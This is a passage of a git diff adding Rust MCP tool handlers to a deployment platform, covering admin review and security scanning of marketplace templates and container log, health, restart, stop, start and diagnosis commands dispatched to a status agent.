approve" + }, + "reason": { + "type": "string", + "description": "Optional approval note/comment" + } + }, + "required": ["template_id"] + }), + } + } +} + +/// Reject a submitted marketplace template +pub struct AdminRejectTemplateTool; + +#[async_trait] +impl ToolHandler for AdminRejectTemplateTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + require_admin(context)?; + + #[derive(Deserialize)] + struct Args { + template_id: String, + reason: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let id = uuid::Uuid::parse_str(¶ms.template_id) + .map_err(|_| "Invalid UUID format for template_id".to_string())?; + + let updated = db::marketplace::admin_decide( + &context.pg_pool, + &id, + &context.user.id, + "rejected", + Some(¶ms.reason), + None, + ) + .await + .map_err(|e| format!("Database error: {}", e))?; + + if !updated { + return Err("Template not found or not in a reviewable state".to_string()); + } + + tracing::info!( + "Admin {} rejected template {} (reason: {})", + context.user.id, + id, + params.reason + ); + + let result = json!({ + "template_id": params.template_id, + "decision": "rejected", + "reason": params.reason, + "message": "Template has been rejected. The creator will be notified.", + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "admin_reject_template".to_string(), + description: "Reject a submitted marketplace template with a reason. The template creator will be notified of the rejection.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "template_id": { + "type": "string", + "description": "UUID of the template to reject" + }, + "reason": { + "type": "string", + "description": "Reason for rejection (required, shown to template creator)" + } + }, + "required": ["template_id", "reason"] + }), + } + } +} + +/// List all versions of a specific marketplace template +pub struct AdminListTemplateVersionsTool; + +#[async_trait] +impl ToolHandler for AdminListTemplateVersionsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + require_admin(context)?; + + #[derive(Deserialize)] + struct Args { + template_id: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let id = uuid::Uuid::parse_str(¶ms.template_id) + .map_err(|_| "Invalid UUID format for template_id".to_string())?; + + let versions = db::marketplace::list_versions_by_template(&context.pg_pool, id) + .await + .map_err(|e| format!("Database error: {}", e))?; + + let result = json!({ + "template_id": params.template_id, + "count": versions.len(), + "versions": versions, + }); + + tracing::info!( + "Admin listed {} versions for template {}", + versions.len(), + id + ); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "admin_list_template_versions".to_string(), + description: "List all versions of a marketplace template including stack_definition, changelog, and version metadata.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "template_id": { + "type": "string", + "description": "UUID of the template" + } + }, + "required": ["template_id"] + }), + } + } +} + +/// List review history for a marketplace template +pub struct AdminListTemplateReviewsTool; + +#[async_trait] +impl ToolHandler for AdminListTemplateReviewsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + require_admin(context)?; + + #[derive(Deserialize)] + struct Args { + template_id: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let id = uuid::Uuid::parse_str(¶ms.template_id) + .map_err(|_| "Invalid UUID format for template_id".to_string())?; + + let reviews = db::marketplace::list_reviews_by_template(&context.pg_pool, id) + .await + .map_err(|e| format!("Database error: {}", e))?; + + let result = json!({ + "template_id": params.template_id, + "count": reviews.len(), + "reviews": reviews, + }); + + tracing::info!("Admin listed {} reviews for template {}", reviews.len(), id); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "admin_list_template_reviews".to_string(), + description: "List the review history of a marketplace template including past decisions, reasons, reviewer info, and security checklist results.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "template_id": { + "type": "string", + "description": "UUID of the template" + } + }, + "required": ["template_id"] + }), + } + } +} + +/// Run automated security validation on a marketplace template's stack definition. +/// Returns the full security report AND the raw stack_definition for AI to perform +/// deeper analysis beyond what automated rules can catch. +pub struct AdminValidateTemplateSecurityTool; + +#[async_trait] +impl ToolHandler for AdminValidateTemplateSecurityTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + require_admin(context)?; + + #[derive(Deserialize)] + struct Args { + template_id: String, + /// If true, save the scan result as a review record + #[serde(default)] + save_report: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let id = uuid::Uuid::parse_str(¶ms.template_id) + .map_err(|_| "Invalid UUID format for template_id".to_string())?; + + // Fetch template + let template = db::marketplace::get_by_id(&context.pg_pool, id) + .await + .map_err(|e| format!("Database error: {}", e))? + .ok_or_else(|| "Template not found".to_string())?; + + // Fetch latest version with stack_definition + let versions = db::marketplace::list_versions_by_template(&context.pg_pool, id) + .await + .map_err(|e| format!("Database error: {}", e))?; + + let latest = versions + .iter() + .find(|v| v.is_latest == Some(true)) + .or_else(|| versions.first()) + .ok_or_else(|| "No versions found for this template — nothing to scan".to_string())?; + + // Run automated security checks + let report = security_validator::validate_stack_security(&latest.stack_definition); + + // Optionally save the scan result as a review record + let saved_review = if params.save_report.unwrap_or(true) { + let review = db::marketplace::save_security_scan( + &context.pg_pool, + &id, + &context.user.id, + report.to_checklist_json(), + ) + .await + .map_err(|e| format!("Failed to save security report: {}", e))?; + Some(review.id.to_string()) + } else { + None + }; + + tracing::info!( + "Security scan for template {}: overall_passed={}, risk_score={}", + id, + report.overall_passed, + report.risk_score + ); + + // Return both the automated report AND the raw stack_definition + // so the AI agent can perform deeper semantic analysis + let result = json!({ + "template": { + "id": template.id, + "name": template.name, + "status": template.status, + "creator_name": template.creator_name, + }, + "version": { + "version": latest.version, + "definition_format": latest.definition_format, + }, + "automated_scan": { + "overall_passed": report.overall_passed, + "risk_score": report.risk_score, + "no_secrets": report.no_secrets, + "no_hardcoded_creds": report.no_hardcoded_creds, + "valid_docker_syntax": report.valid_docker_syntax, + "no_malicious_code": report.no_malicious_code, + "recommendations": report.recommendations, + }, + "saved_review_id": saved_review, + "stack_definition_for_ai_review": latest.stack_definition, + "ai_review_instructions": "The automated scan above covers pattern-based checks. As an AI reviewer, please additionally analyze: 1) Whether the service architecture makes sense and is secure, 2) If environment variables have sensible defaults, 3) If there are any data exfiltration risks, 4) If resource limits are appropriate, 5) If the network topology is secure (unnecessary exposed ports), 6) Any other security concerns that static analysis cannot catch.", + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "admin_validate_template_security".to_string(), + description: "Run automated security validation on a template's stack definition. Checks for hardcoded secrets, credentials, Docker syntax issues, and malicious patterns (privileged containers, host mounts, crypto miners). Returns both the automated scan report and the raw stack_definition for AI to perform deeper semantic security analysis. Saves the security checklist to the review history.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "template_id": { + "type": "string", + "description": "UUID of the template to security-scan" + }, + "save_report": { + "type": "boolean", + "description": "Whether to save the scan result as a review record (default: true)" + } + }, + "required": ["template_id"] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/mod.rs b/stacker/stacker/src/mcp/tools/mod.rs new file mode 100644 index 0000000..9bae330 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/mod.rs @@ -0,0 +1,39 @@ +pub mod agent_control; +pub mod ansible_roles; +pub mod cloud; +pub mod compose; +pub mod config; +pub mod deployment; +pub mod explain; +pub mod firewall; +pub mod install_preview; +pub mod marketplace_admin; +pub mod monitoring; +pub mod pipes; +pub mod project; +pub mod proxy; +pub mod recommendations; +pub mod remote_secrets; +pub mod support; +pub mod templates; +pub mod user_service; + +pub use agent_control::*; +pub use ansible_roles::*; +pub use cloud::*; +pub use compose::*; +pub use config::*; +pub use deployment::*; +pub use explain::*; +pub use firewall::*; +pub use install_preview::*; +pub use marketplace_admin::*; +pub use monitoring::*; +pub use pipes::*; +pub use project::*; +pub use proxy::*; +pub use recommendations::*; +pub use remote_secrets::*; +pub use support::*; +pub use templates::*; +pub use user_service::*; diff --git a/stacker/stacker/src/mcp/tools/monitoring.rs b/stacker/stacker/src/mcp/tools/monitoring.rs new file mode 100644 index 0000000..5b96f06 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/monitoring.rs @@ -0,0 +1,1520 @@ +//! MCP Tools for Logs & Monitoring via Status Agent. +//! +//! These tools provide AI access to: +//! - Container logs (paginated, redacted) +//! - Container health metrics (CPU, RAM, network) +//! - Deployment-wide container status +//! +//! Commands are dispatched to Status Agent via Stacker's agent communication layer. +//! +//! Deployment resolution is handled via `DeploymentIdentifier` which supports: +//! - Stack Builder deployments (deployment_hash directly) +//! - User Service installations (deployment_id → lookup hash via connector) + +use async_trait::async_trait; +use serde_json::{json, Value}; +use tokio::time::{sleep, Duration, Instant}; + +use crate::connectors::user_service::UserServiceDeploymentResolver; +use crate::db; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use crate::models::{Command, CommandPriority}; +use crate::services::{DeploymentIdentifier, DeploymentResolver, VaultService}; +use serde::Deserialize; + +const DEFAULT_LOG_LIMIT: usize = 100; +const MAX_LOG_LIMIT: usize = 500; +const COMMAND_RESULT_TIMEOUT_SECS: u64 = 8; +const COMMAND_POLL_INTERVAL_MS: u64 = 400; + +fn paused_deployment_cli_commands(server_ip: Option<&str>) -> Vec { + let mut commands = vec![ + "stacker status".to_string(), + "stacker status --watch".to_string(), + "stacker agent status".to_string(), + "stacker logs --tail 100".to_string(), + ]; + + if let Some(ip) = server_ip.filter(|ip| !ip.trim().is_empty()) { + commands.push(format!( + "ssh -i ~/.config/stacker/ssh/ -p 22 root@{}", + ip + )); + } + + commands +} + +fn paused_deployment_mcp_sequence() -> Vec<&'static str> { + vec![ + "get_deployment_status", + "get_deployment_events", + "get_deployment_state", + "get_docker_compose_yaml", + "list_containers", + "get_container_logs", + "get_error_summary", + "get_container_health", + "escalate_to_support", + ] +} + +/// Helper to create a resolver from context. +/// Uses UserServiceDeploymentResolver from connectors to support legacy installations. +fn create_resolver(context: &ToolContext) -> UserServiceDeploymentResolver { + UserServiceDeploymentResolver::from_context( + &context.settings.user_service_url, + context.user.access_token.as_deref(), + ) +} + +/// Poll for command result with timeout. +/// Waits up to COMMAND_RESULT_TIMEOUT_SECS for the command to complete. +/// Returns the command if result/error is available, or None if timeout. +async fn wait_for_command_result( + pg_pool: &sqlx::PgPool, + command_id: &str, +) -> Result, String> { + let wait_deadline = Instant::now() + Duration::from_secs(COMMAND_RESULT_TIMEOUT_SECS); + + while Instant::now() < wait_deadline { + let fetched = db::command::fetch_by_command_id(pg_pool, command_id) + .await + .map_err(|e| format!("Failed to fetch command: {}", e))?; + + if let Some(cmd) = fetched { + let status = cmd.status.to_lowercase(); + // Return if completed, failed, or has result/error + if status == "completed" + || status == "failed" + || cmd.result.is_some() + || cmd.error.is_some() + { + return Ok(Some(cmd)); + } + } + + sleep(Duration::from_millis(COMMAND_POLL_INTERVAL_MS)).await; + } + + Ok(None) +} + +/// Get container logs from a deployment +pub struct GetContainerLogsTool; + +#[async_trait] +impl ToolHandler for GetContainerLogsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default)] + app_code: Option, + #[serde(default)] + limit: Option, + #[serde(default)] + cursor: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Create identifier from args (prefers hash if both provided) + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + + // Resolve to deployment_hash + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + let limit = params.limit.unwrap_or(DEFAULT_LOG_LIMIT).min(MAX_LOG_LIMIT); + + // Create command for agent + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "logs".to_string(), + context.user.id.clone(), + ) + .with_parameters(json!({ + "name": "stacker.logs", + "params": { + "deployment_hash": deployment_hash, + "app_code": params.app_code.clone().unwrap_or_default(), + "limit": limit, + "cursor": params.cursor, + "redact": true // Always redact for AI safety + } + })); + + // Insert command and add to queue + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + // Wait for result or timeout + let result = if let Some(cmd) = + wait_for_command_result(&context.pg_pool, &command.command_id).await? + { + let status = cmd.status.to_lowercase(); + json!({ + "status": status, + "command_id": cmd.command_id, + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "limit": limit, + "result": cmd.result, + "error": cmd.error, + "message": "Logs retrieved." + }) + } else { + json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "limit": limit, + "message": "Log request queued. Agent will process shortly." + }) + }; + + tracing::info!( + user_id = %context.user.id, + deployment_id = ?params.deployment_id, + deployment_hash = %deployment_hash, + "Queued logs command via MCP" + ); + + Ok(ToolContent::Text { + text: result.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_container_logs".to_string(), + description: "Fetch container logs from a deployment. Logs are automatically redacted to remove sensitive information like passwords and API keys.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments). Use this if available in context." + }, + "app_code": { + "type": "string", + "description": "Specific app/container to get logs from (e.g., 'nginx', 'postgres'). If omitted, returns logs from all containers." + }, + "limit": { + "type": "number", + "description": "Maximum number of log lines to return (default: 100, max: 500)" + }, + "cursor": { + "type": "string", + "description": "Pagination cursor for fetching more logs" + } + }, + "required": [] + }), + } + } +} + +/// Get container health metrics from a deployment +pub struct GetContainerHealthTool; + +#[async_trait] +impl ToolHandler for GetContainerHealthTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default)] + app_code: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Create identifier and resolve to hash + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Create health command for agent + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "health".to_string(), + context.user.id.clone(), + ) + .with_parameters(json!({ + "name": "stacker.health", + "params": { + "deployment_hash": deployment_hash, + "app_code": params.app_code.clone().unwrap_or_default(), + "include_metrics": true + } + })); + + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + // Wait for result or timeout + let result = if let Some(cmd) = + wait_for_command_result(&context.pg_pool, &command.command_id).await? + { + let status = cmd.status.to_lowercase(); + json!({ + "status": status, + "command_id": cmd.command_id, + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "result": cmd.result, + "error": cmd.error, + "message": "Health metrics retrieved." + }) + } else { + json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "message": "Health check queued. Agent will process shortly." + }) + }; + + tracing::info!( + user_id = %context.user.id, + deployment_id = ?params.deployment_id, + deployment_hash = %deployment_hash, + "Queued health command via MCP" + ); + + Ok(ToolContent::Text { + text: result.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_container_health".to_string(), + description: "Get health metrics for containers in a deployment including CPU usage, memory usage, network I/O, and uptime.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments). Use this if available in context." + }, + "app_code": { + "type": "string", + "description": "Specific app/container to check (e.g., 'nginx', 'postgres'). If omitted, returns health for all containers." + } + }, + "required": [] + }), + } + } +} + +/// Restart a container in a deployment +pub struct RestartContainerTool; + +#[async_trait] +impl ToolHandler for RestartContainerTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + app_code: String, + #[serde(default)] + force: bool, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + if params.app_code.trim().is_empty() { + return Err("app_code is required to restart a specific container".to_string()); + } + + // Create identifier and resolve to hash + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Create restart command for agent + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "restart".to_string(), + context.user.id.clone(), + ) + .with_priority(CommandPriority::High) // Restart is high priority + .with_parameters(json!({ + "name": "stacker.restart", + "params": { + "deployment_hash": deployment_hash, + "app_code": params.app_code.clone(), + "force": params.force + } + })); + + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::High, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + let result = json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "message": format!("Restart command for '{}' queued. Container will restart shortly.", params.app_code) + }); + + tracing::warn!( + user_id = %context.user.id, + deployment_id = ?params.deployment_id, + deployment_hash = %deployment_hash, + app_code = %params.app_code, + "Queued RESTART command via MCP" + ); + + Ok(ToolContent::Text { + text: result.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "restart_container".to_string(), + description: "Restart a specific container in a deployment. This is a potentially disruptive action - use when a container is unhealthy or needs to pick up configuration changes.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments). Use this if available in context." + }, + "app_code": { + "type": "string", + "description": "The app/container code to restart (e.g., 'nginx', 'postgres')" + }, + "force": { + "type": "boolean", + "description": "Force restart even if container appears healthy (default: false)" + } + }, + "required": ["app_code"] + }), + } + } +} + +/// Diagnose deployment issues +pub struct DiagnoseDeploymentTool; + +#[async_trait] +impl ToolHandler for DiagnoseDeploymentTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Create identifier and resolve with full info + let identifier = DeploymentIdentifier::try_from_options( + params.deployment_hash.clone(), + params.deployment_id, + )?; + let resolver = create_resolver(context); + let info = resolver.resolve_with_info(&identifier).await?; + + let deployment_hash = info.deployment_hash.clone(); + let mut status = info.status; + let mut domain = info.domain; + let server_ip = info.server_ip; + let mut apps_info: Option = info.apps.as_ref().map(|apps| { + json!(apps + .iter() + .map(|a| json!({ + "app_code": a.app_code, + "display_name": a.name, + "version": a.version, + "port": a.port + })) + .collect::>()) + }); + + // For Stack Builder deployments (hash-based), fetch from Stacker's database + if params.deployment_hash.is_some() || (apps_info.is_none() && !deployment_hash.is_empty()) + { + // Fetch deployment from Stacker DB + if let Ok(Some(deployment)) = + db::deployment::fetch_by_deployment_hash(&context.pg_pool, &deployment_hash).await + { + status = if deployment.status.is_empty() { + "unknown".to_string() + } else { + deployment.status.clone() + }; + + // Fetch apps from project + if let Ok(project_apps) = + db::project_app::fetch_by_project(&context.pg_pool, deployment.project_id).await + { + let apps_list: Vec = project_apps + .iter() + .map(|app| { + json!({ + "app_code": app.code, + "display_name": app.name, + "image": app.image, + "domain": app.domain, + "status": "configured" + }) + }) + .collect(); + apps_info = Some(json!(apps_list)); + + // Try to get domain from first app if not set + if domain.is_none() { + domain = project_apps.iter().find_map(|a| a.domain.clone()); + } + } + } + } + + // Build diagnostic summary + let mut issues: Vec = Vec::new(); + let mut recommendations: Vec = Vec::new(); + + // Check deployment status + match status.as_str() { + "failed" => { + issues.push("Deployment is in FAILED state".to_string()); + recommendations.push("Check deployment logs for error details".to_string()); + recommendations.push("Verify cloud credentials are valid".to_string()); + } + "paused" => { + issues.push("Deployment is PAUSED and needs troubleshooting".to_string()); + recommendations.push( + "Continue with stacker status --watch to collect the final installer message" + .to_string(), + ); + recommendations.push( + "Use the backup SSH command printed by deploy if the server IP is reachable" + .to_string(), + ); + recommendations.push("Inspect Docker Compose config, container logs, and config-bundle file mappings before redeploying".to_string()); + } + "pending" => { + issues.push("Deployment is still PENDING".to_string()); + recommendations.push( + "Wait for deployment to complete or check for stuck processes".to_string(), + ); + } + "running" | "completed" => { + // Deployment looks healthy from our perspective + } + s => { + issues.push(format!("Deployment has unusual status: {}", s)); + } + } + + // Check if agent is connected (check last heartbeat) + if let Ok(Some(agent)) = + db::agent::fetch_by_deployment_hash(&context.pg_pool, &deployment_hash).await + { + if let Some(last_seen) = agent.last_heartbeat { + let now = chrono::Utc::now(); + let diff = now.signed_duration_since(last_seen); + if diff.num_minutes() > 5 { + issues.push(format!( + "Agent last seen {} minutes ago - may be offline", + diff.num_minutes() + )); + recommendations.push( + "Check if server is running and has network connectivity".to_string(), + ); + } + } + } else { + issues.push("No agent registered for this deployment".to_string()); + recommendations + .push("Ensure the Status Agent is installed and running on the server".to_string()); + } + + let result = json!({ + "deployment_id": params.deployment_id, + "deployment_hash": deployment_hash, + "status": status, + "domain": domain, + "server_ip": server_ip, + "apps": apps_info, + "issues_found": issues.len(), + "issues": issues, + "recommendations": recommendations, + "mcp_tool_sequence": paused_deployment_mcp_sequence(), + "stacker_cli_commands": if status == "paused" || status == "failed" { + paused_deployment_cli_commands(server_ip.as_deref()) + } else { + vec![ + "stacker status".to_string(), + "stacker agent status".to_string(), + ] + }, + "safe_ai_context": { + "include": [ + "deployment id/hash and status", + "last installer message", + "sanitized docker compose error", + "redacted compose env_file/image/ports snippets", + "config bundle source -> destination mappings" + ], + "exclude": [ + "cloud tokens", + "registry tokens", + "private SSH keys", + "full .env contents" + ] + }, + "next_steps": if issues.is_empty() { + vec!["Deployment appears healthy. Use get_container_health for detailed metrics.".to_string()] + } else { + vec!["Address the issues above, then re-run diagnosis.".to_string()] + } + }); + + tracing::info!( + user_id = %context.user.id, + deployment_id = ?params.deployment_id, + deployment_hash = %deployment_hash, + issues = issues.len(), + "Ran deployment diagnosis via MCP" + ); + + Ok(ToolContent::Text { + text: serde_json::to_string_pretty(&result).unwrap_or_else(|_| result.to_string()), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "diagnose_deployment".to_string(), + description: "Run diagnostic checks on a deployment to identify potential issues. Returns a list of detected problems and recommended actions.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments). Use this if available in context." + } + }, + "required": [] + }), + } + } +} + +#[cfg(test)] +mod tests { + use super::{paused_deployment_cli_commands, paused_deployment_mcp_sequence}; + + #[test] + fn paused_deployment_cli_commands_include_status_and_ssh_when_ip_exists() { + let commands = paused_deployment_cli_commands(Some("178.105.162.176")); + + assert!(commands.contains(&"stacker status".to_string())); + assert!(commands.contains(&"stacker status --watch".to_string())); + assert!(commands + .iter() + .any(|command| command.contains("root@178.105.162.176"))); + } + + #[test] + fn paused_deployment_mcp_sequence_prioritizes_diagnosis_before_escalation() { + let sequence = paused_deployment_mcp_sequence(); + + assert_eq!(sequence.first(), Some(&"get_deployment_status")); + assert!(sequence.contains(&"get_container_logs")); + assert_eq!(sequence.last(), Some(&"escalate_to_support")); + } +} + +/// Stop a container in a deployment +pub struct StopContainerTool; + +#[async_trait] +impl ToolHandler for StopContainerTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + app_code: String, + #[serde(default)] + timeout: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + if params.app_code.trim().is_empty() { + return Err("app_code is required to stop a specific container".to_string()); + } + + // Create identifier and resolve to hash + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Create stop command for agent + let timeout = params.timeout.unwrap_or(30); // Default 30 second graceful shutdown + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "stop".to_string(), + context.user.id.clone(), + ) + .with_priority(CommandPriority::High) + .with_parameters(json!({ + "name": "stacker.stop", + "params": { + "deployment_hash": deployment_hash, + "app_code": params.app_code.clone(), + "timeout": timeout + } + })); + + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::High, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + let result = json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "timeout": timeout, + "message": format!("Stop command for '{}' queued. Container will stop within {} seconds.", params.app_code, timeout) + }); + + tracing::warn!( + user_id = %context.user.id, + deployment_id = ?params.deployment_id, + deployment_hash = %deployment_hash, + app_code = %params.app_code, + "Queued STOP command via MCP" + ); + + Ok(ToolContent::Text { + text: result.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "stop_container".to_string(), + description: "Stop a specific container in a deployment. This will gracefully stop the container, allowing it to complete in-progress work. Use restart_container if you want to stop and start again.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments). Use this if available in context." + }, + "app_code": { + "type": "string", + "description": "The app/container code to stop (e.g., 'nginx', 'postgres')" + }, + "timeout": { + "type": "number", + "description": "Graceful shutdown timeout in seconds (default: 30)" + } + }, + "required": ["app_code"] + }), + } + } +} + +/// Start a stopped container in a deployment +pub struct StartContainerTool; + +#[async_trait] +impl ToolHandler for StartContainerTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + app_code: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + if params.app_code.trim().is_empty() { + return Err("app_code is required to start a specific container".to_string()); + } + + // Create identifier and resolve to hash + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Create start command for agent + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "start".to_string(), + context.user.id.clone(), + ) + .with_priority(CommandPriority::High) + .with_parameters(json!({ + "name": "stacker.start", + "params": { + "deployment_hash": deployment_hash, + "app_code": params.app_code.clone() + } + })); + + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::High, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + let result = json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "app_code": params.app_code, + "message": format!("Start command for '{}' queued. Container will start shortly.", params.app_code) + }); + + tracing::info!( + user_id = %context.user.id, + deployment_id = ?params.deployment_id, + deployment_hash = %deployment_hash, + app_code = %params.app_code, + "Queued START command via MCP" + ); + + Ok(ToolContent::Text { + text: result.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "start_container".to_string(), + description: "Start a stopped container in a deployment. Use this after stop_container to bring a container back online.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments). Use this if available in context." + }, + "app_code": { + "type": "string", + "description": "The app/container code to start (e.g., 'nginx', 'postgres')" + } + }, + "required": ["app_code"] + }), + } + } +} + +/// Get a summary of errors from container logs +pub struct GetErrorSummaryTool; + +#[async_trait] +impl ToolHandler for GetErrorSummaryTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default)] + app_code: Option, + #[serde(default)] + hours: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Create identifier and resolve to hash + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + let hours = 